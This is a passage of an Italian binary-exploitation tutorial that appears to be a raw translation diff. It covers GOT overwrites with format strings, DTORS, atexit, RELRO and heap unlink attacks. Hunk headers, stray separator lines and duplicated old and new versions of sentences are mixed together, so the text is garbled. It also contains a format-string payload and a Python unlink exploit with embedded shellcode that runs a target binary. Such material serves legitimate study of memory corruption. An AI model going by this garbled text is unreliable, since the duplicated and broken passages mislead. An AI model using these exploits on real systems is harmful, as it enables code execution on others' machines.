In un binario il GOT ha gli **indirizzi delle funzioni o** della sezione **PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questo exploit è **sovrascrivere l'ingresso GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** del PLT della funzione **`system`**. Idealmente, si **sovrascriverà** il **GOT** di una **funzione** che **verrà chiamata con parametri controllati da te** (così potrai controllare i parametri inviati alla funzione di sistema).
|
||||
|
||||
Se **`system`** **non viene utilizzato** dallo script, la funzione di sistema **non** avrà un ingresso nel GOT. In questo scenario, dovrai **prima ottenere l'indirizzo** della funzione `system`.
|
||||
|
||||
La **Procedure Linkage Table** è una tabella **solo lettura** nel file ELF che memorizza tutti i **simboli necessari che richiedono una risoluzione**. Quando una di queste funzioni viene chiamata, il **GOT** **reindirizzerà** il **flusso** al **PLT** in modo che possa **risolvere** l'**indirizzo** della funzione e scriverlo nel GOT.\
|
||||
Quindi, la **prossima volta** che viene effettuata una chiamata a quell'indirizzo, la **funzione** viene **chiamata direttamente** senza bisogno di risolverla.
|
||||
|
||||
Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
### **Flusso dell'Exploit**
|
||||
|
||||
Come spiegato in precedenza, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Idealmente potremmo impostare l'**indirizzo su un codice shell** situato in una sezione eseguibile, ma è molto probabile che non sarai in grado di scrivere un codice shell in una sezione eseguibile.\
|
||||
Quindi un'opzione diversa è **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla funzione **`system`**.
|
||||
|
||||
Per scrivere l'indirizzo, di solito vengono eseguiti 2 passaggi: **scrivi prima 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si utilizza **`$hn`**.
|
||||
|
||||
**HOB** si riferisce ai 2 byte più alti dell'indirizzo\
|
||||
**LOB** si riferisce ai 2 byte più bassi dell'indirizzo
|
||||
|
||||
Quindi, a causa del funzionamento delle stringhe di formato, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
|
||||
|
||||
Se HOB < LOB\
|
||||
`[indirizzo+2][indirizzo]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Se HOB > LOB\
|
||||
`[indirizzo+2][indirizzo]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
|
||||
### **Template di Exploit delle Stringhe di Formato**
|
||||
|
||||
Puoi trovare un **template** per sfruttare il GOT utilizzando le stringhe di formato qui:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
###
|
||||
|
||||
### **.fini\_array**
|
||||
|
||||
Essenzialmente si tratta di una struttura con le **funzioni che verranno chiamate** prima che il programma finisca. Questo è interessante se puoi chiamare il tuo **codice shell saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a main per **sfruttare la stringa di formato una seconda volta**.
|
||||
Essenzialmente si tratta di una struttura con **funzioni che verranno chiamate** prima che il programma finisca. Questo è interessante se puoi chiamare il tuo **shellcode saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a main per **sfruttare la stringa di formato una seconda volta**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -410,10 +244,10 @@ rabin -s /exec | grep “__DTOR”
|
|||
```
|
||||
Di solito troverai la sezione **DTOR** **tra** i valori `ffffffff` e `00000000`. Quindi se vedi solo quei valori, significa che **non c'è alcuna funzione registrata**. Quindi **sovrascrivi** il **`00000000`** con l'**indirizzo** dello **shellcode** per eseguirlo.
|
||||
|
||||
### **Stringhe di formato per gli overflow del buffer**
|
||||
### **Stringhe di Formato per Buffer Overflows**
|
||||
|
||||
La funzione **sprintf** sposta una stringa formattata in una **variabile**. Quindi potresti abusare della **formattazione** di una stringa per causare un **overflow del buffer nella variabile** in cui il contenuto viene copiato.\
|
||||
Ad esempio, il payload `%.44xAAAA` scriverà **44B+"AAAA" nella variabile**, il che potrebbe causare un overflow del buffer.
|
||||
La funzione **sprintf** sposta una stringa formattata in una **variabile**. Quindi potresti abusare della **formattazione** di una stringa per causare un **buffer overflow nella variabile** in cui il contenuto viene copiato.\
|
||||
Ad esempio, il payload `%.44xAAAA` scriverà 44B+"AAAA" nella variabile, il che potrebbe causare un buffer overflow.
|
||||
|
||||
### **Strutture \_\_atexit**
|
||||
|
||||
|
@ -422,9 +256,9 @@ Oggi è molto **strano sfruttare questo**.
|
|||
{% endhint %}
|
||||
|
||||
**`atexit()`** è una funzione a cui vengono passate **altre funzioni come parametri**. Queste **funzioni** verranno **eseguite** durante l'esecuzione di un **`exit()`** o al **ritorno** dal **main**.\
|
||||
Se riesci a **modificare** l'**indirizzo** di una di queste **funzioni** per puntare a uno shellcode ad esempio, otterrai il **controllo** del **processo**, ma attualmente è più complicato.\
|
||||
Se riesci a **modificare** l'**indirizzo** di una qualsiasi di queste **funzioni** in modo che punti a uno shellcode, ad esempio, otterrai il **controllo** del **processo**, ma attualmente è più complicato.\
|
||||
Attualmente gli **indirizzi delle funzioni** da eseguire sono **nascosti** dietro diverse strutture e infine l'indirizzo a cui puntano non sono gli indirizzi delle funzioni, ma sono **criptati con XOR** e spostamenti con una **chiave casuale**. Quindi attualmente questo vettore di attacco non è molto utile almeno su x86 e x64\_86.\
|
||||
La funzione di **criptazione** è **`PTR_MANGLE`**. **Altre architetture** come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** che ha ricevuto in input. Quindi queste architetture potrebbero essere attaccabili tramite questo vettore.
|
||||
La funzione di **criptazione** è **`PTR_MANGLE`**. Altre architetture come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** che ha ricevuto in input. Quindi queste architetture potrebbero essere attaccabili tramite questo vettore.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
|
@ -436,7 +270,7 @@ Oggi è molto **strano sfruttare questo**.
|
|||
**`longjmp()`** consente di **ripristinare** il **contesto**.\
|
||||
I **registri salvati** sono: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Quello che succede è che EIP e ESP vengono passati dalla funzione **`PTR_MANGLE`**, quindi le **architetture vulnerabili a questo attacco sono le stesse di prima**.\
|
||||
Sono utili per il recupero degli errori o gli interrupt.\
|
||||
Sono utili per il recupero degli errori o per gli interrupt.\
|
||||
Tuttavia, da quanto ho letto, gli altri registri non sono protetti, **quindi se c'è una `call ebx`, `call esi` o `call edi`** all'interno della funzione chiamata, è possibile prendere il controllo. Oppure potresti anche modificare EBP per modificare ESP.
|
||||
|
||||
**VTable e VPTR in C++**
|
||||
|
@ -445,150 +279,25 @@ Ogni classe ha una **Vtable** che è un array di **puntatori a metodi**.
|
|||
|
||||
Ogni oggetto di una **classe** ha un **VPtr** che è un **puntatore** all'array della sua classe. Il VPtr fa parte dell'intestazione di ogni oggetto, quindi se si riesce a **sovrascrivere** il **VPtr** potrebbe essere **modificato** per **puntare** a un metodo fittizio in modo che l'esecuzione di una funzione vada allo shellcode.
|
||||
|
||||
## **Misure preventive ed evasioni**
|
||||
## **Misure Preventive ed Evasioni**
|
||||
|
||||
**Return-into-printf**
|
||||
|
||||
È una tecnica per trasformare un buffer overflow in un errore di formato della stringa. Consiste nel sostituire l'EIP in modo che punti a un printf della funzione e passargli come argomento una stringa di formato manipolata per ottenere valori sullo stato del processo.
|
||||
|
||||
**Attacco alle librerie**
|
||||
|
||||
Le librerie si trovano in una posizione con 16 bit di casualità = 65636 possibili indirizzi. Se un server vulnerabile chiama fork(), lo spazio degli indirizzi di memoria viene clonato nel processo figlio e rimane intatto. Quindi si può tentare un attacco di forza bruta alla funzione usleep() di libc passando "16" come argomento in modo che se impiega più del normale a rispondere, si sarà trovata tale funzione. Sapendo dove si trova tale funzione, è possibile ottenere delta\_mmap e calcolare le altre.
|
||||
|
||||
L'unico modo per essere sicuri che l'ASLR funzioni è utilizzare un'architettura a 64 bit. Lì non ci sono attacchi di forza bruta.
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro (Read only Relocation)** influisce sulle autorizzazioni di memoria in modo simile a NX. La differenza è che mentre con NX rende eseguibile lo stack, RELRO rende **alcune cose di sola lettura** quindi non possiamo scriverci. Il modo più comune in cui ho visto che questo è un ostacolo è impedirci di fare un **sovrascrittura della tabella `got`**, che verrà trattata in seguito. La tabella `got` contiene gli indirizzi delle funzioni libc in modo che il binario sappia quali sono gli indirizzi e possa chiamarli. Vediamo come sono le autorizzazioni di memoria per una voce della tabella `got` per un binario con e senza relro.
|
||||
|
||||
Con relro:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
Senza relro:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
Per il binario **senza relro**, possiamo vedere che l'indirizzo dell'ingresso `got` per `fgets` è `0x404018`. Guardando le mappature di memoria vediamo che si trova tra `0x404000` e `0x405000`, che ha le **autorizzazioni `rw`**, il che significa che possiamo leggere e scriverci. Per il binario **con relro**, vediamo che l'indirizzo della tabella `got` per l'esecuzione del binario (il pie è abilitato quindi questo indirizzo cambierà) è `0x555555557fd0`. Nelle mappature di memoria di quel binario si trova tra `0x0000555555557000` e `0x0000555555558000`, che ha le autorizzazioni di memoria **`r`**, il che significa che possiamo solo leggerne.
|
||||
|
||||
Quale è il **bypass**? Il tipico bypass che uso è semplicemente non scrivere nelle regioni di memoria che relro rende di sola lettura e **trovare un modo diverso per ottenere l'esecuzione del codice**.
|
||||
|
||||
Nota che affinché ciò accada, il binario deve conoscere prima dell'esecuzione gli indirizzi delle funzioni:
|
||||
|
||||
* Lazy binding: L'indirizzo di una funzione viene cercato la prima volta che la funzione viene chiamata. Quindi, la GOT deve avere autorizzazioni di scrittura durante l'esecuzione.
|
||||
* Bind now: Gli indirizzi delle funzioni vengono risolti all'inizio dell'esecuzione, quindi vengono date autorizzazioni di sola lettura a sezioni sensibili come .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
|
||||
|
||||
Per verificare se un programma utilizza Bind now puoi fare:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
Quando il binario è caricato in memoria e una funzione è chiamata per la prima volta, si salta alla PLT (Procedure Linkage Table), da qui si effettua un salto (jmp) alla GOT e si scopre che quell'entry non è stata risolta (contiene un indirizzo successivo della PLT). Quindi si invoca il Runtime Linker o rtfd per risolvere l'indirizzo e salvarlo nella GOT.
|
||||
|
||||
Quando una funzione è chiamata, si chiama la PLT, che contiene l'indirizzo della GOT dove è salvato l'indirizzo della funzione, quindi reindirizza il flusso lì e la funzione viene chiamata. Tuttavia, se è la prima volta che la funzione viene chiamata, ciò che è nella GOT è l'istruzione successiva della PLT, quindi il flusso segue il codice della PLT (rtfd) e scopre l'indirizzo della funzione, lo salva nella GOT e lo chiama.
|
||||
|
||||
Caricando un binario in memoria, il compilatore ha indicato a quale offset posizionare i dati che devono essere caricati quando il programma viene eseguito.
|
||||
|
||||
Lazy binding —> L'indirizzo della funzione viene cercato la prima volta che viene invocata, quindi la GOT ha i permessi di scrittura in modo che quando viene cercato, venga salvato lì e non sia necessario cercarlo di nuovo.
|
||||
|
||||
Bind now —> Gli indirizzi delle funzioni vengono cercati durante il caricamento del programma e i permessi delle sezioni .got, .dtors, .ctors, .dynamic, .jcr vengono cambiati in sola lettura. **-z relro** e **-z now**
|
||||
|
||||
Nonostante ciò, in generale i programmi non sono complicati con queste opzioni, quindi questi attacchi rimangono possibili.
|
||||
|
||||
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Per verificare se viene utilizzato il BIND NOW
|
||||
|
||||
**Fortify Source -D_FORTIFY_SOURCE=1 o =2**
|
||||
|
||||
Cerca di identificare le funzioni che copiano in modo insicuro da un luogo all'altro e sostituire la funzione con una funzione sicura.
|
||||
|
||||
Ad esempio:\
|
||||
char buf\[16];\
|
||||
strcpy(but, source);
|
||||
|
||||
Viene identificato come insicuro e quindi sostituisce strcpy() con \_\_strcpy\_chk() utilizzando la dimensione del buffer come dimensione massima da copiare.
|
||||
|
||||
La differenza tra **=1** o **=2** è che:
|
||||
|
||||
Il secondo non consente che **%n** provenga da una sezione con permessi di scrittura. Inoltre, il parametro per l'accesso diretto agli argomenti può essere utilizzato solo se vengono utilizzati quelli precedenti, cioè si può utilizzare **%3$d** solo se prima sono stati utilizzati **%2$d** e **%1$d**
|
||||
|
||||
Per mostrare il messaggio di errore si utilizza argv\[0\], quindi se si inserisce l'indirizzo di un altro luogo (come una variabile globale) il messaggio di errore mostrerà il contenuto di tale variabile. Pag 191
|
||||
###
|
||||
|
||||
**Sostituzione di Libsafe**
|
||||
|
||||
Si attiva con: LD_PRELOAD=/lib/libsafe.so.2\
|
||||
Si attiva con: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
o\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Le chiamate a alcune funzioni insicure vengono intercettate e sostituite con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona con binari con setuid).
|
||||
Le chiamate a alcune funzioni non sicure vengono intercettate e sostituite con altre sicure. Non standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD\_PRELOAD non funziona con binari con setuid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
**Spazio degli Indirizzi ASCII Armored**
|
||||
|
||||
Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo non ferma praticamente nessun attacco, specialmente in little endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Consiste nel realizzare un ROP in modo che si chiami la funzione strcpy@plt (dalla plt) e si punti all'entry della GOT e si copi il primo byte della funzione che si vuole chiamare (system()). Successivamente si fa lo stesso puntando a GOT+1 e si copia il secondo byte di system()... Alla fine si chiama l'indirizzo salvato nella GOT che sarà system()
|
||||
|
||||
**Falso EBP**
|
||||
|
||||
Per le funzioni che utilizzano l'EBP come registro per puntare agli argomenti, modificando l'EIP e puntando a system(), è necessario aver modificato anche l'EBP in modo che punti a una zona di memoria che abbia 2 byte qualsiasi e successivamente l'indirizzo a &”/bin/sh”.
|
||||
Consiste nell'eseguire un ROP in modo che si chiami la funzione strcpy@plt (dalla plt) e si punti all'ingresso della GOT e si copi il primo byte della funzione che si vuole chiamare (system()). Successivamente si fa lo stesso puntando a GOT+1 e si copia il secondo byte di system()... Alla fine si chiama l'indirizzo salvato nella GOT che sarà system()
|
||||
|
||||
**Jail con chroot()**
|
||||
|
||||
|
@ -596,34 +305,34 @@ debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base in una
|
|||
|
||||
Un amministratore può uscire da una di queste prigioni facendo: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Strumentazione del codice**
|
||||
**Strumentazione del Codice**
|
||||
|
||||
Valgrind —> Cerca errori\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Heap Overflows: Exploits di base**
|
||||
## **8 Heap Overflows: Exploits di Base**
|
||||
|
||||
**Chunk assegnato**
|
||||
**Chunk Assegnato**
|
||||
|
||||
prev_size |\
|
||||
prev\_size |\
|
||||
size | —Header\
|
||||
\*mem | Dati
|
||||
|
||||
**Chunk libero**
|
||||
**Chunk Libero**
|
||||
|
||||
prev_size |\
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Ptr chunk successivo\
|
||||
\*bk | Ptr chunk precedente —Header\
|
||||
\*mem | Dati
|
||||
|
||||
I chunk liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due chunk liberi consecutivi (vengono uniti)
|
||||
I chunk liberi sono in una lista doppiamente collegata (bin) e non possono mai essere due chunk liberi consecutivi (vengono uniti)
|
||||
|
||||
In “size” ci sono bit per indicare: se il chunk precedente è in uso, se il chunk è stato assegnato tramite mmap() e se il chunk appartiene all'arena primaria.
|
||||
In "size" ci sono bit per indicare: se il chunk precedente è in uso, se il chunk è stato assegnato tramite mmap() e se il chunk appartiene all'arena primaria.
|
||||
|
||||
Se si libera un chunk e uno dei contigui è libero, questi vengono fusi tramite la macro unlink() e il nuovo chunk più grande viene passato a frontlink() per inserirlo nel bin appropriato.
|
||||
Quando viene liberato un chunk e uno dei chunk adiacenti è libero, questi vengono fusi tramite la macro unlink() e il nuovo chunk più grande viene passato a frontlink() per inserirlo nel bin appropriato.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk precedentemente libero\
|
||||
|
@ -632,7 +341,7 @@ FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk\
|
|||
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk\
|
||||
}
|
||||
|
||||
Pertanto, se riusciamo a modificare P->bk con l'indirizzo di uno shellcode e P->fd con l'indirizzo di un'entry nella GOT o DTORS meno 12, si ottiene:
|
||||
Pertanto, se riusciamo a modificare P->bk con l'indirizzo di uno shellcode e P->fd con l'indirizzo di un'entrata nella GOT o DTORS meno 12, si ottiene:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
|
@ -642,21 +351,17 @@ E così, al termine del programma, lo shellcode viene eseguito.
|
|||
|
||||
Inoltre, la quarta istruzione di unlink() scrive qualcosa e lo shellcode deve essere preparato per questo:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte dello shellcode, quindi la prima istruzione dello shellcode deve essere un jmp per saltare questo e raggiungere una serie di nop che portino al resto dello shellcode.
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte dello shellcode, quindi la prima istruzione dello shellcode deve essere un jmp per saltare questo e passare a una serie di nop che portino al resto dello shellcode.
|
||||
|
||||
Pertanto, l'exploit viene creato:
|
||||
|
||||
Nel buffer1 si inserisce lo shellcode iniziando con un jmp in modo che cada nei nop o nel resto dello shellcode.
|
||||
Nel buffer1 inseriamo lo shellcode iniziando con un jmp in modo che cada nei nop o nel resto dello shellcode.
|
||||
|
||||
Dopo lo shellcode si inserisce del padding fino a raggiungere il campo prev_size e size del chunk successivo. In questi punti si inseriscono 0xfffffff0 (in modo che venga sovrascritto il prev_size per indicare che è libero) e “-4” (0xfffffffc) in size (per far sì che quando viene controllato nel terzo chunk se il secondo era libero, in realtà si vada al prev_size modificato che indicherà che è libero) -> Così quando free() indaga, andrà al size del terzo ma in realtà andrà al secondo - 4 e penserà che il secondo chunk sia libero. E quindi chiamerà **unlink()**.
|
||||
|
||||
Chiamando unlink() userà come P->fd i primi dati del secondo chunk, quindi lì verrà inserito l'indirizzo da sovrascrivere - 12 (poiché in FD->bk verrà aggiunto 12 all'indirizzo salvato in FD). E in quell'indirizzo verrà inserito il secondo indirizzo trovato nel secondo chunk, che sarà l'indirizzo dello shellcode (falso P->bk).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
Dopo lo shellcode inseriamo del padding fino a raggiungere il campo prev\_size e size del chunk successivo. In questi punti inseriamo 0xfffffff0 (per sovrascrivere prev\_size in modo che abbia il bit che indica che è libero) e "-4" (0xfffffffc) in size (per far credere al terzo chunk che il secondo sia libero quando in realtà va al prev\_size modificato che dirà che è libero) -> Quindi quando free() controlla, va al size del terzo ma in realtà va al secondo - 4 e pensa che il secondo chunk sia libero. E quindi chiama **unlink()**.
|
||||
|
||||
Chiamando unlink() userà i primi dati del secondo chunk come P->fd, quindi lì verrà inserito l'indirizzo da sovrascrivere - 12 (poiché in FD->bk verrà aggiunto 12 all'indirizzo memorizzato in FD). E in quell'indirizzo verrà inserito il secondo indirizzo trovato nel secondo chunk, che ci interesserà che sia l'indirizzo dello shellcode (falso P->bk).
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
@ -665,15 +370,15 @@ Chiamando unlink() userà come P->fd i primi dati del secondo chunk, quindi lì
|
|||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #È importante che il bit che indica che il chunk precedente è libero sia impostato su 1**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, in modo che il "size" del terzo chunk sia considerato 4 byte indietro (punta a prev\_size) dove controlla se il secondo chunk è libero**
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, in modo che pensi che il "size" del 3º chunk sia 4 byte indietro (punta a prev\_size) dove controlla se il 2º chunk è libero**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Nel payload all'inizio aggiungiamo 8 byte di riempimento**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà sovrascritto per eseguire lo shellcode la seconda volta che viene chiamato free)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà sovrascritto per eseguire la shellcode la seconda volta che viene chiamato free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Come detto, il payload inizia con 8 byte di riempimento per convenienza**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modifichiamo il secondo chunk, got\_free punta al posto dove salveremo l'indirizzo addr\_sc + 12**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modifichiamo il 2º chunk, got\_free punta dove salveremo l'indirizzo addr\_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
|
@ -683,15 +388,15 @@ Stiamo controllando 3 chunk consecutivi e vengono rilasciati in ordine inverso r
|
|||
|
||||
In questo caso:
|
||||
|
||||
Nel chunk c inseriamo lo shellcode
|
||||
Nel chunk c inseriamo la shellcode
|
||||
|
||||
Utilizziamo il chunk a per sovrascrivere il chunk b in modo che il bit PREV\_INUSE sia disattivato, facendo credere che il chunk a sia libero.
|
||||
Utilizziamo il chunk a per sovrascrivere il b in modo che il bit PREV\_INUSE del size sia disattivato, facendo credere che il chunk a sia libero.
|
||||
|
||||
Inoltre, sovraimpostiamo il size nell'intestazione del chunk b in modo che sia -4.
|
||||
Inoltre, sovrascriamo il size nell'header di b in modo che valga -4.
|
||||
|
||||
Così, il programma penserà che "a" sia libero e in un bin, quindi chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV\_SIZE è -4, penserà che il chunk "a" inizi effettivamente a b+4. In altre parole, eseguirà un unlink() su un chunk che inizia a b+4, quindi a b+12 ci sarà il puntatore "fd" e a b+16 ci sarà il puntatore "bk".
|
||||
